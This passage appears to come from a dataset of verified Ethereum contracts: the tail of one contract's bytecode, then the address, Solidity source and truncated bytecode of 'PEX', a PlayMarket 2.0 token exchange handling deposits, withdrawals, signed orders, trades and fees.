5260200191505b509250505060405180910390f35b3415611dcb57600080fd5b611dd36142b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611e13578082015181840152602081019050611df8565b50505050905090810190601f168015611e405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611e5957600080fd5b611ea9600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061435c565b005b3415611eb657600080fd5b611ebe6143d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611efe578082015181840152602081019050611ee3565b50505050905090810190601f168015611f2b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f4457600080fd5b611f4c614479565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611f8c578082015181840152602081019050611f71565b50505050905090810190601f168015611fb95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611fd257600080fd5b611fda614521565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561201a578082015181840152602081019050611fff565b50505050905090810190601f1680156120475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561206057600080fd5b6120b0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506145c9565b005b34156120bd57600080fd5b6120c561463e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121055780820151818401526020810190506120ea565b50505050905090810190601f1680156121325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561214b57600080fd5b6121536146e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612193578082015181840152602081019050612178565b50505050905090810190601f1680156121c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156121d957600080fd5b6121e161478e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612221578082015181840152602081019050612206565b50505050905090810190601f16801561224e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b612264614836565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fa5780601f106122cf576101008083540402835291602001916122fa565b820191906000526020600020905b8154815290600101906020018083116122dd57829003601f168201915b5050505050905090565b61230c614836565b60168054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123a25780601f10612377576101008083540402835291602001916123a2565b820191906000526020600020905b81548152906001019060200180831161238557829003601f168201915b5050505050905090565b6123b4614836565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561244a5780601f1061241f5761010080835404028352916020019161244a565b820191906000526020600020905b81548152906001019060200180831161242d57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124af57600080fd5b80601c90805190602001906124c592919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561252457600080fd5b80600d908051906020019061253a92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561259957600080fd5b80601390805190602001906125af92919061484a565b5050565b6125bb614836565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126515780601f1061262657610100808354040283529160200191612651565b820191906000526020600020905b81548152906001019060200180831161263457829003601f168201915b5050505050905090565b612663614836565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126f95780601f106126ce576101008083540402835291602001916126f9565b820191906000526020600020905b8154815290600101906020018083116126dc57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561275e57600080fd5b806012908051906020019061277492919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127d357600080fd5b80601890805190602001906127e992919061484a565b5050565b6127f5614836565b601f8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561288b5780601f106128605761010080835404028352916020019161288b565b820191906000526020600020905b81548152906001019060200180831161286e57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128f057600080fd5b806003908051906020019061290692919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561296557600080fd5b80600c908051906020019061297b92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129da57600080fd5b80600a90805190602001906129f092919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4f57600080fd5b8060179080519060200190612a6592919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ac457600080fd5b8060099080519060200190612ada92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b3957600080fd5b8060019080519060200190612b4f92919061484a565b5050565b612b5b614836565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bf15780601f10612bc657610100808354040283529160200191612bf1565b820191906000526020600020905b815481529060010190602001808311612bd457829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c5657600080fd5b8060069080519060200190612c6c92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ccb57600080fd5b80600e9080519060200190612ce192919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d4057600080fd5b8060199080519060200190612d5692919061484a565b5050565b612d62614836565b601d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612df85780601f10612dcd57610100808354040283529160200191612df8565b820191906000526020600020905b815481529060010190602001808311612ddb57829003601f168201915b5050505050905090565b612e0a614836565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ea05780601f10612e7557610100808354040283529160200191612ea0565b820191906000526020600020905b815481529060010190602001808311612e8357829003601f168201915b5050505050905090565b612eb2614836565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f485780601f10612f1d57610100808354040283529160200191612f48565b820191906000526020600020905b815481529060010190602001808311612f2b57829003601f168201915b5050505050905090565b612f5a614836565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ff05780601f10612fc557610100808354040283529160200191612ff0565b820191906000526020600020905b815481529060010190602001808311612fd357829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561305557600080fd5b806004908051906020019061306b92919061484a565b5050565b613077614836565b60218054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561310d5780601f106130e25761010080835404028352916020019161310d565b820191906000526020600020905b8154815290600101906020018083116130f057829003601f168201915b5050505050905090565b61311f614836565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131b55780601f1061318a576101008083540402835291602001916131b5565b820191906000526020600020905b81548152906001019060200180831161319857829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561321a57600080fd5b806010908051906020019061323092919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561328f57600080fd5b80600290805190602001906132a592919061484a565b5050565b6132b1614836565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133475780601f1061331c57610100808354040283529160200191613347565b820191906000526020600020905b81548152906001019060200180831161332a57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156133ac57600080fd5b80601590805190602001906133c292919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561342157600080fd5b80601d908051906020019061343792919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561349657600080fd5b80602090805190602001906134ac92919061484a565b5050565b6134b8614836565b600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561354e5780601f106135235761010080835404028352916020019161354e565b820191906000526020600020905b81548152906001019060200180831161353157829003601f168201915b5050505050905090565b613560614836565b60158054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156135f65780601f106135cb576101008083540402835291602001916135f6565b820191906000526020600020905b8154815290600101906020018083116135d957829003601f168201915b5050505050905090565b613608614836565b60138054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561369e5780601f106136735761010080835404028352916020019161369e565b820191906000526020600020905b81548152906001019060200180831161368157829003601f168201915b5050505050905090565b6136b0614836565b601b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137465780601f1061371b57610100808354040283529160200191613746565b820191906000526020600020905b81548152906001019060200180831161372957829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156137ab57600080fd5b80600890805190602001906137c192919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561382057600080fd5b80601f908051906020019061383692919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561389557600080fd5b80600b90805190602001906138ab92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561390a57600080fd5b80600f908051906020019061392092919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561397f57600080fd5b80601a908051906020019061399592919061484a565b5050565b6139a1614836565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a375780601f10613a0c57610100808354040283529160200191613a37565b820191906000526020600020905b815481529060010190602001808311613a1a57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a9c57600080fd5b80601b9080519060200190613ab292919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b1157600080fd5b8060119080519060200190613b2792919061484a565b5050565b613b33614836565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bc95780601f10613b9e57610100808354040283529160200191613bc9565b820191906000526020600020905b815481529060010190602001808311613bac57829003601f168201915b5050505050905090565b613bdb614836565b601e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c715780601f10613c4657610100808354040283529160200191613c71565b820191906000526020600020905b815481529060010190602001808311613c5457829003601f168201915b5050505050905090565b613c83614836565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613d195780601f10613cee57610100808354040283529160200191613d19565b820191906000526020600020905b815481529060010190602001808311613cfc57829003601f168201915b5050505050905090565b613d2b614836565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613dc15780601f10613d9657610100808354040283529160200191613dc1565b820191906000526020600020905b815481529060010190602001808311613da457829003601f168201915b5050505050905090565b613dd3614836565b60148054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613e695780601f10613e3e57610100808354040283529160200191613e69565b820191906000526020600020905b815481529060010190602001808311613e4c57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613ece57600080fd5b8060059080519060200190613ee492919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f4357600080fd5b8060229080519060200190613f5992919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613fb857600080fd5b80601e9080519060200190613fce92919061484a565b5050565b613fda614836565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156140705780601f1061404557610100808354040283529160200191614070565b820191906000526020600020905b81548152906001019060200180831161405357829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156140d557600080fd5b80602190805190602001906140eb92919061484a565b5050565b6140f7614836565b60188054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561418d5780601f106141625761010080835404028352916020019161418d565b820191906000526020600020905b81548152906001019060200180831161417057829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156141f257600080fd5b806014908051906020019061420892919061484a565b5050565b614214614836565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156142aa5780601f1061427f576101008083540402835291602001916142aa565b820191906000526020600020905b81548152906001019060200180831161428d57829003601f168201915b5050505050905090565b6142bc614836565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156143525780601f1061432757610100808354040283529160200191614352565b820191906000526020600020905b81548152906001019060200180831161433557829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156143b757600080fd5b80601690805190602001906143cd92919061484a565b5050565b6143d9614836565b60108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561446f5780601f106144445761010080835404028352916020019161446f565b820191906000526020600020905b81548152906001019060200180831161445257829003601f168201915b5050505050905090565b614481614836565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156145175780601f106144ec57610100808354040283529160200191614517565b820191906000526020600020905b8154815290600101906020018083116144fa57829003601f168201915b5050505050905090565b614529614836565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156145bf5780601f10614594576101008083540402835291602001916145bf565b820191906000526020600020905b8154815290600101906020018083116145a257829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561462457600080fd5b806007908051906020019061463a92919061484a565b5050565b614646614836565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156146dc5780601f106146b1576101008083540402835291602001916146dc565b820191906000526020600020905b8154815290600101906020018083116146bf57829003601f168201915b5050505050905090565b6146ee614836565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156147845780601f1061475957610100808354040283529160200191614784565b820191906000526020600020905b81548152906001019060200180831161476757829003601f168201915b5050505050905090565b614796614836565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561482c5780601f106148015761010080835404028352916020019161482c565b820191906000526020600020905b81548152906001019060200180831161480f57829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061488b57805160ff19168380011785556148b9565b828001600101855582156148b9579182015b828111156148b857825182559160200191906001019061489d565b5b5090506148c691906148ca565b5090565b6148ec91905b808211156148e85760008160009055506001016148d0565b5090565b905600a165627a7a723058205420345e8d98f4cdd35cf0fa3dc2ddcbfa3afa2818e608b22d3871857f6a291a0029
{"success": true, "error": null, "results": {}}
10,723
0xcc152BA543A3942A07E488A29702CA1cB40Ea7e6
pragma solidity ^0.4.24; /** * @title Ownable contract - base contract with an owner */ contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { assert(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { assert(_newOwner != address(0)); newOwner = _newOwner; } /** * @dev Accept transferOwnership. */ function acceptOwnership() public { if (msg.sender == newOwner) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface ERC20I { function balanceOf(address _owner) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { /** * @dev Subtracts two numbers, reverts on overflow. */ function safeSub(uint256 x, uint256 y) internal pure returns (uint256) { assert(y <= x); uint256 z = x - y; return z; } /** * @dev Adds two numbers, reverts on overflow. */ function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; assert(z >= x); return z; } /** * @dev Integer division of two numbers, reverts on division by zero. */ function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x / y; return z; } /** * @dev Multiplies two numbers, reverts on overflow. */ function safeMul(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); return z; } /** * @dev Returns the integer percentage of the number. */ function safePerc(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); z = z / 10000; // percent to hundredths return z; } /** * @dev Returns the minimum value of two numbers. */ function min(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x <= y ? x : y; return z; } /** * @dev Returns the maximum value of two numbers. */ function max(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x >= y ? x : y; return z; } } /** * @title Agent contract - base contract with an agent */ contract Agent is Ownable { address public defAgent; mapping(address => bool) public Agents; constructor() public { defAgent = msg.sender; Agents[msg.sender] = true; } modifier onlyAgent() { assert(Agents[msg.sender]); _; } function updateAgent(address _agent, bool _status) public onlyOwner { assert(_agent != address(0)); Agents[_agent] = _status; } } /** * @title PlayMarket 2.0 Exchange */ contract PEX is SafeMath, Agent { address public feeAccount; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; struct whitelistToken { bool active; uint256 timestamp; } struct Fee { uint256 feeMake; uint256 feeTake; } mapping (address => whitelistToken) public whitelistTokens; mapping (address => uint256) public accountTypes; mapping (uint256 => Fee) public feeTypes; event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event Order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user); event Cancel(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, bytes32 hash); event Trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, address recipient, bytes32 hash, uint256 timestamp); event WhitelistTokens(address token, bool active, uint256 timestamp); modifier onlyWhitelistTokens(address token, uint256 timestamp) { assert(whitelistTokens[token].active && whitelistTokens[token].timestamp <= timestamp); _; } constructor (address feeAccount_, uint feeMake_, uint feeTake_) public { feeAccount = feeAccount_; feeTypes[0] = Fee(feeMake_, feeTake_); whitelistTokens[0] = whitelistToken(true, 1); emit WhitelistTokens(0, true, 1); } function setAccountType(address user_, uint256 type_) external onlyAgent { accountTypes[user_] = type_; } function getAccountType(address user_) external view returns(uint256) { return accountTypes[user_]; } function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external onlyAgent { feeTypes[type_] = Fee(feeMake_,feeTake_); } function getFeeMake(uint256 type_ ) external view returns(uint256) { return (feeTypes[type_].feeMake); } function getFeeTake(uint256 type_ ) external view returns(uint256) { return (feeTypes[type_].feeTake); } function changeFeeAccount(address feeAccount_) external onlyAgent { require(feeAccount_ != address(0)); feeAccount = feeAccount_; } function setWhitelistTokens(address token, bool active, uint256 timestamp) external onlyAgent { whitelistTokens[token].active = active; whitelistTokens[token].timestamp = timestamp; emit WhitelistTokens(token, active, timestamp); } /** * deposit ETH */ function() public payable { require(msg.value > 0); deposit(msg.sender); } /** * Make deposit. * * @param receiver The Ethereum address who make deposit * */ function deposit(address receiver) private { tokens[0][receiver] = safeAdd(tokens[0][receiver], msg.value); emit Deposit(0, receiver, msg.value, tokens[0][receiver]); } /** * Withdraw deposit. * * @param amount Withdraw amount * */ function withdraw(uint amount) external { require(tokens[0][msg.sender] >= amount); tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); msg.sender.transfer(amount); emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } /** * Deposit token. * * @param token Token address * @param amount Deposit amount * */ function depositToken(address token, uint amount) external onlyWhitelistTokens(token, block.timestamp) { require(token != address(0)); require(ERC20I(token).transferFrom(msg.sender, this, amount)); tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } /** * tokenFallback ERC223. * * @param owner owner token * @param amount Deposit amount * @param data payload * */ function tokenFallback(address owner, uint256 amount, bytes data) external onlyWhitelistTokens(msg.sender, block.timestamp) returns (bool success) { require(data.length == 0); tokens[msg.sender][owner] = safeAdd(tokens[msg.sender][owner], amount); emit Deposit(msg.sender, owner, amount, tokens[msg.sender][owner]); return true; } /** * Withdraw token. * * @param token Token address * @param amount Withdraw amount * */ function withdrawToken(address token, uint amount) external { require(token != address(0)); require(tokens[token][msg.sender] >= amount); tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); require(ERC20I(token).transfer(msg.sender, amount)); emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) external view returns (uint) { return tokens[token][user]; } function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external { bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender)); orders[msg.sender][hash] = true; emit Order(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender); } function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external { bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user)); if (!( (orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.timestamp <= expires && safeAdd(orderFills[user][hash], amount) <= amountBuy )) revert(); tradeBalances(tokenBuy, amountBuy, tokenSell, amountSell, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); emit Trade(tokenBuy, amount, tokenSell, amountSell * amount / amountBuy, user, msg.sender, hash, block.timestamp); } function tradeBalances(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeTypes[accountTypes[user]].feeMake) / (10**18); uint feeTakeXfer = safeMul(amount, feeTypes[accountTypes[msg.sender]].feeTake) / (10**18); tokens[tokenBuy][msg.sender] = safeSub(tokens[tokenBuy][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenBuy][user] = safeAdd(tokens[tokenBuy][user], safeSub(amount, feeMakeXfer)); tokens[tokenBuy][feeAccount] = safeAdd(tokens[tokenBuy][feeAccount], safeAdd(feeMakeXfer, feeTakeXfer)); tokens[tokenSell][user] = safeSub(tokens[tokenSell][user], safeMul(amountSell, amount) / amountBuy); tokens[tokenSell][msg.sender] = safeAdd(tokens[tokenSell][msg.sender], safeMul(amountSell, amount) / amountBuy); } function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external { bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender)); if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)) revert(); orderFills[msg.sender][hash] = amountBuy; emit Cancel(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender, v, r, s, hash); } function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool) { if (!( tokens[tokenBuy][sender] >= amount && availableVolume(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public view returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user)); if (!( (orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.timestamp <= expires )) return 0; uint available1 = safeSub(amountBuy, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenSell][user], amountBuy) / amountSell; if (available1<available2) return available1; return available2; } function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user)); return orderFills[user][hash]; } }
0x6080604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a19b14a81146101ad5780630b927666146101fc57806319774d4314610230578063278b8c0e146102665780632d804ca2146102a75780632e1a7d4d146102e4578063338b5dea146102fc578063508493bc146103205780635fb2386e1461034757806365e17c9d146103835780636c86888b146103b45780636e84f8701461042257806371ffcb161461044357806379ba5097146104645780638da5cb5b146104795780638dbbbe101461048e5780639e281a98146104a65780639e5fd0bb146104ca578063a53cb8ca146104df578063ae20314614610508578063b311db2f14610529578063bb5f46291461054d578063c0ee0b8a14610571578063d4ee1d90146105a2578063de32b680146105b7578063e7fcde9b146105d8578063f2fde38b146105f6578063f7888aec14610617578063f7ddab951461063e578063fa58f5101461066f578063faad6eb514610687578063fb6e155f146106ad575b600034116101a257600080fd5b6101ab336106f8565b005b3480156101b957600080fd5b506101ab600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e4351661010435610124356101443561079a565b34801561020857600080fd5b506101ab600160a060020a03600435811690602435906044351660643560843560a435610b59565b34801561023c57600080fd5b50610254600160a060020a0360043516602435610cb6565b60408051918252519081900360200190f35b34801561027257600080fd5b506101ab600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e43561010435610cd3565b3480156102b357600080fd5b50610254600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43516610f8b565b3480156102f057600080fd5b506101ab600435611089565b34801561030857600080fd5